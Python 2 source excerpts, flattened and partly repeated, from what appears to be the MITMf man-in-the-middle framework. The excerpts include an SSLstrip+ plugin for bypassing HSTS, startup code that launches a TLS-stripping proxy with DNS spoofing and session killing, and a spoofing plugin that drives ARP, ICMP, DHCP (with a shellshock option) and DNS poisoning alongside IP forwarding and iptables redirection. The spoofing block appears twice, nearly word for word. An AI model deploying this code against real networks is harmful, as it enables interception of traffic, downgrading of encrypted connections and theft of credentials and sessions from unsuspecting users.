class HSTSbypass(Plugin): name = 'SSLstrip+' optname = 'hsts' desc = 'Enables SSLstrip+ for partial HSTS bypass' version = "0.4" tree_output = ["SSLstrip+ by Leonardo Nve running"] has_opts = False def initialize(self, options): self.options = options self.manualiptables = options.manualiptables try: hstsconfig = options.configfile['SSLstrip+'] except Exception, e: sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) if not options.manualiptables: if IpTables.getInstance().dns is False: IpTables.getInstance().DNS(options.ip_address, options.configfile['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass(hstsconfig) DNSChef.getInstance().setHstsBypass(hstsconfig)
print "[-] Error loading plugin %s: %s" % (p.name, str(e)) #Plugins are ready to go, start MITMf if args.disproxy: ProxyPlugins.getInstance().setPlugins(load) else: from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor from libs.dnschef.dnschef import DNSChef URLMonitor.getInstance().setFaviconSpoofing(args.favicon) URLMonitor.getInstance().setResolver(args.configfile['MITMf']['DNS']['resolver']) URLMonitor.getInstance().setResolverPort(args.configfile['MITMf']['DNS']['port']) DNSChef.getInstance().setCoreVars(args.configfile['MITMf']['DNS']) if args.configfile['MITMf']['DNS']['tcp'].lower() == 'on': DNSChef.getInstance().startTCP() else: DNSChef.getInstance().startUDP() CookieCleaner.getInstance().setEnabled(args.killsessions) ProxyPlugins.getInstance().setPlugins(load) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(args.listen, strippingFactory) #load custom reactor options for plugins that have the 'plugin_reactor' attribute for p in plugins:
def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.dnscfg = options.configfile['MITMf']['DNS'] self.dhcpcfg = options.configfile['Spoof']['DHCP'] self.target = options.target self.manualiptables = options.manualiptables self.protocolInstances = [] #Makes scapy more verbose debug = False if options.log_level is 'debug': debug = True if options.arp: if not options.gateway: sys.exit("[-] --arp argument requires --gateway") arp = _ARP(options.gateway, options.interface, options.mac_address) arp.target = options.target arp.arpmode = options.arpmode arp.debug = debug self.protocolInstances.append(arp) elif options.icmp: if not options.gateway: sys.exit("[-] --icmp argument requires --gateway") if not options.target: sys.exit("[-] --icmp argument requires --target") icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address) icmp.debug = debug self.protocolInstances.append(icmp) elif options.dhcp: if options.target: sys.exit("[-] --target argument invalid when DCHP spoofing") dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) dhcp.shellshock = options.shellshock dhcp.debug = debug self.protocolInstances.append(dhcp) if options.dns: if not options.manualiptables: if IpTables.getInstance().dns is False: IpTables.getInstance().DNS(options.ip_address, self.dnscfg['port']) DNSChef.getInstance().loadRecords(self.dnscfg) if not options.arp and not options.icmp and not options.dhcp and not options.dns: sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") SystemConfig.setIpForwarding(1) if not options.manualiptables: if IpTables.getInstance().http is False: IpTables.getInstance().HTTP(options.listen) for protocol in self.protocolInstances: protocol.start()
def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.dnscfg = options.configfile['MITMf']['DNS'] self.dhcpcfg = options.configfile['Spoof']['DHCP'] self.target = options.target self.manualiptables = options.manualiptables self.protocolInstances = [] #Makes scapy more verbose debug = False if options.log_level is 'debug': debug = True if options.arp: if not options.gateway: sys.exit("[-] --arp argument requires --gateway") arp = _ARP(options.gateway, options.interface, options.mac_address) arp.target = options.target arp.arpmode = options.arpmode arp.debug = debug self.protocolInstances.append(arp) elif options.icmp: if not options.gateway: sys.exit("[-] --icmp argument requires --gateway") if not options.target: sys.exit("[-] --icmp argument requires --target") icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address) icmp.debug = debug self.protocolInstances.append(icmp) elif options.dhcp: if options.target: sys.exit("[-] --target argument invalid when DCHP spoofing") dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) dhcp.shellshock = options.shellshock dhcp.debug = debug self.protocolInstances.append(dhcp) if options.dns: if not options.manualiptables: if IpTables.getInstance().dns is False: IpTables.getInstance().DNS(options.ip_address, self.dnscfg['port']) DNSChef.getInstance().loadRecords(self.dnscfg) if not options.arp and not options.icmp and not options.dhcp and not options.dns: sys.exit( "[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") SystemConfig.setIpForwarding(1) if not options.manualiptables: if IpTables.getInstance().http is False: IpTables.getInstance().HTTP(options.listen) for protocol in self.protocolInstances: protocol.start()